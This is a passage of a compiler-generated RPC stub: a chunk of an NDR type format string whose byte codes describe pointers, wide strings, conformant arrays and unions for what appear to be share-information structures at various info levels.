*/\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 308 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 310 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 312 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 314 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 316 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 318 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 320 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 322 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 324 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 326 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 328 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 330 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 334 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 338 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 342 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 344 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 346 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 350 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 354 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 356 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (294) */\n/* 358 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 360 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 362 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 366 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (372) */\n/* 368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 370 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 372 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 374 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (318) */\n/* 376 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 378 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 380 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 382 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (382) */\n/* 384 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 386 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 388 */\tNdrFcShort( 0xff64 ),\t/* Offset= -156 (232) */\n/* 390 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 392 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 394 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (396) */\n/* 396 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 398 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 400 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 402 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 404 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 406 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 410 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 414 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (416) */\n/* 416 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 418 */\tNdrFcShort( 0x3002 ),\t/* 12290 */\n/* 420 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 424 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (434) */\n/* 426 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 430 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (438) */\n/* 432 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (431) */\n/* 434 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 436 */\tNdrFcShort( 0xfe80 ),\t/* Offset= -384 (52) */\n/* 438 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 440 */\tNdrFcShort( 0xff6e ),\t/* Offset= -146 (294) */\n/* 442 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 444 */\tNdrFcShort( 0x1ea ),\t/* Offset= 490 (934) */\n/* 446 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 448 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 450 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 452 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 454 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 460 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 464 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (466) */\n/* 466 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 468 */\tNdrFcShort( 0x3005 ),\t/* 12293 */\n/* 470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 474 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (502) */\n/* 476 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 480 */\tNdrFcShort( 0x62 ),\t/* Offset= 98 (578) */\n/* 482 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 486 */\tNdrFcShort( 0xb2 ),\t/* Offset= 178 (664) */\n/* 488 */\tNdrFcLong( 0xa ),\t/* 10 */\n/* 492 */\tNdrFcShort( 0x106 ),\t/* Offset= 262 (754) */\n/* 494 */\tNdrFcLong( 0x1f6 ),\t/* 502 */\n/* 498 */\tNdrFcShort( 0x154 ),\t/* Offset= 340 (838) */\n/* 500 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (499) */\n/* 502 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 504 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (562) */\n/* 506 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 508 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 512 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (516) */\n/* 514 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 516 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 518 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 520 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 522 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 524 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 526 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 528 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 530 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 532 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 536 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 540 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 544 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 546 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 548 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 552 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 556 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 558 */\tNdrFcShort( 0xffcc ),\t/* Offset= -52 (506) */\n/* 560 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 562 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 564 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 566 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 568 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (574) */\n/* 570 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 572 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 574 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 576 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (520) */\n/* 578 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 580 */\tNdrFcShort( 0x44 ),\t/* Offset= 68 (648) */\n/* 582 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 584 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 586 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 588 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (598) */\n/* 590 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 592 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 594 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 596 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 598 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 600 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 602 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 604 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 606 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 608 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 610 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 614 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 616 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 618 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 622 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 626 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 630 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 632 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 634 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 638 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 642 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 644 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (582) */\n/* 646 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 648 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 650 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 654 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (660) */\n/* 656 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 658 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 660 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 662 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (606) */\n/* 664 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 666 */\tNdrFcShort( 0x48 ),\t/* Offset= 72 (738) */\n/* 668 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 670 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 674 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (684) */\n/* 676 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 678 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 682 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 684 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 686 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 688 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 690 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 692 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 694 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 696 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 698 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 700 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 702 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 704 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 706 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 708 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 712 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 716 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 720 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 722 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 724 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 728 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 732 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 734 */\tNdrFcShort( 0xffbe ),\t/* Offset= -66 (668) */\n/* 736 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 738 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 740 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 742 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 744 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (750) */\n/* 746 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 748 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 750 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 752 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (696) */\n/* 754 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 756 */\tNdrFcShort( 0x42 ),\t/* Offset= 66 (822) */\n/* 758 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 760 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 762 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 764 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (772) */\n/* 766 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 768 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 770 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 772 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 774 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 776 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 778 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 780 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 784 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 788 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 790 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 792 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 796 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 800 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 804 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 806 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 808 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 812 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 816 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 818 */\tNdrFcShort( 0xffc4 ),\t/* Offset= -60 (758) */\n/* 820 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 822 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 824 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 826 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 828 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (834) */\n/* 830 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 832 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 834 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 836 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (780) */\n/* 838 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 840 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (918) */\n/* 842 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 844 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 846 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 848 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (860) */\n/* 850 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 852 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 854 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 856 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 858 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 860 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 862 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 864 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 866 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 868 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 870 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 872 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 874 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 876 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 878 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 880 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 882 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 884 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 886 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 888 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 892 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 896 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 900 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 902 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 904 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 908 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 912 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 914 */\tNdrFcShort( 0xffb8 ),\t/* Offset= -72 (842) */\n/* 916 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 918 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 920 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 924 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (930) */\n/* 926 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 928 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 930 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 932 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (876) */\n/* 934 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 936 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 938 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 940 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (940) */\n/* 942 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 944 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 946 */\tNdrFcShort( 0xfe0c ),\t/* Offset= -500 (446) */\n/* 948 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 950 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 952 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (954) */\n/* 954 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 956 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 958 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 960 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 962 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 964 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 968 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 972 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (974) */\n/* 974 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 976 */\tNdrFcShort( 0x300a ),\t/* 12298 */\n/* 978 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 982 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (1040) */\n/* 984 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 988 */\tNdrFcShort( 0x46 ),\t/* Offset= 70 (1058) */\n/* 990 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 994 */\tNdrFcShort( 0x5a ),\t/* Offset= 90 (1084) */\n/* 996 */\tNdrFcLong( 0x1f6 ),\t/* 502 */\n/* 1000 */\tNdrFcShort( 0x7c ),\t/* Offset= 124 (1124) */\n/* 1002 */\tNdrFcLong( 0x3ec ),\t/* 1004 */\n/* 1006 */\tNdrFcShort( 0xba ),\t/* Offset= 186 (1192) */\n/* 1008 */\tNdrFcLong( 0x3ee ),\t/* 1006 */\n/* 1012 */\tNdrFcShort( 0xfdbe ),\t/* Offset= -578 (434) */\n/* 1014 */\tNdrFcLong( 0x5dd ),\t/* 1501 */\n/* 1018 */\tNdrFcShort( 0xc0 ),\t/* Offset= 192 (1210) */\n/* 1020 */\tNdrFcLong( 0x3ed ),\t/* 1005 */\n/* 1024 */\tNdrFcShort( 0xfdb2 ),\t/* Offset= -590 (434) */\n/* 1026 */\tNdrFcLong( 0x1f5 ),\t/* 501 */\n/* 1030 */\tNdrFcShort( 0xde ),\t/* Offset= 222 (1252) */\n/* 1032 */\tNdrFcLong( 0x1f7 ),\t/* 503 */\n/* 1036 */\tNdrFcShort( 0xf4 ),\t/* Offset= 244 (1280) */\n/* 1038 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1038) */\n/* 1040 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1042 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1044) */\n/* 1044 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1046 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1048 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1050 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1054) */\n/* 1052 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1054 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1056 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1058 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1060 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1062) */\n/* 1062 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1064 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1066 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1068 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (1076) */\n/* 1070 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1072 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1074 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1076 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1078 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1080 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1082 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1084 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1086 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1088) */\n/* 1088 